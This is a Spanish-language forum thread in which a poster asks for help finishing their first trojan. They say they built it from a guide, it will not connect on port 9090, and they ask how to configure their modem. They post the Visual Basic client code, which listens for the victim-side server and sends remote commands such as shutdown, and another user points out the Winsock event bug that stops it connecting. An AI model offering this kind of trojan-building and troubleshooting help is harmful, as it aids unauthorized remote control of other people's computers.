Hola, necesito su ayuda para acabar mi primer troyano; el problema es que ya acabe el troyano, pero no se conecta; creo que tengo que configurar mi modem para hacer que se conecte (nunca antes e echo un troyano). Si alguien me pudierá decir cual es la manera adecuada de configurar mi modem para utilizar esté troyano sería de gran ayuda:
El server lo configuré para que se conectara al puerto 9090 (el cual trate de abrir desde la página del modem para probar si funcionaba) pero no, y estoy pensando en que algo hice mal.
Bueno, espero alguien pueda ayudarme.
PD: Por si acaso dejo el .EXE para que puedan analizar un poco más; también dejo la guia en la cual me base para hacer el troyano (el código) bueno; casi todo el código es de la guia, yo le agrege una que otra cosa (ya que no se programar mucho) ustedes se darán cuenta, en fin. Gracias de antemano.
Manual de cración del troyano:
[Enlace externo eliminado para invitados] ... asic-6.pdf
Cliente del troyano:
[Enlace externo eliminado para invitados] (Creo que ya he visto esté nombre antes) Pero dure un buen para pensarmela aver cual nombre poner así que si ven algo con ese nombre no crean que es por que le copie al creador
Server del troyano:
[Enlace externo eliminado para invitados]
el primer link esta roto el del manual ... y una cosa para poder ver los fallos tienes k dejar el source no el troyano ya compilado asi k pon los codigos para analiarlos y ver lo k iciste mal si no, no te podremos ayudar xDD
DarkJairo escribió:el primer link esta roto el del manual ... y una cosa para poder ver los fallos tienes k dejar el source no el troyano ya compilado asi k pon los codigos para analiarlos y ver lo k iciste mal si no, no te podremos ayudar xDD
Lo subi a esa página maleta u_u
PD:
Tienes razón xD aquí está el códe....
Código: Seleccionar todo
Private Sub Command1_Click()
NetHack.WindowState = 1
End Sub
Private Sub Command2_Click()
End
End Sub
Private Sub Command3_Click()
If Winsock2.State = 0 Then
Winsock2.Listen
Command3.Caption = "Escuchando...."
ElseIf Winsock2.State = 7 Then
Winsock2.Close
Command3.Caption = "Escuchar Server de NetHack"
Else
Winsock2.Close
Command3.Caption = "Escuchar Server de NetHack"
End If
End Sub
Private Sub Command4_Click()
If Winsock2.State = 7 Then
Winsock2.SendData "Apagar"
Else
MsgBox ("Intente establecer conexión")
End If
End Sub
Private Sub Command5_Click()
If Winsock2.State = 7 Then
Winsock2.SendData "Open"
Else
MsgBox ("Intente establecer conexión")
End If
End Sub
Private Sub Command6_Click()
If Winsock2.State = 7 Then
Winsock2.SendData "Close"
Else
MsgBox ("Intente establecer conexión")
End If
End Sub
Private Sub Command7_Click()
If Winsock2.State = 7 Then
Winsock2.SendData Text1.Text
Else
MsgBox ("No se a podido establecer conexión")
End If
End Sub
Private Sub Timer1_Timer()
If Winsock2.State = 7 Then
Label4.Caption = "Conectado"
ElseIf Winsock2.State = 0 Then
Label4.Caption = "Desconectado"
ElseIf Winsock2.State = 2 Then
Label4.Caption = "Escuchando"
End If
End Sub
Private Sub Timer2_Timer()
If Winsock2.State = 7 Then
Label4.Caption = Winsock2.RemoteHostIP
Else
End If
End Sub
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
Winsock2.Close
Winsock2.Accept requestID
End Sub
Mirandolo por encima, veo normal que no conecte ya que tu usas siempre Winsock2 y el evento que acepta la conexion lo as puesto para Winsock1, fijate:
Eso es lo que veo por encima, mira haber si es eso.
Código: Seleccionar todo
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
Winsock2.Close
Winsock2.Accept requestID
End Sub
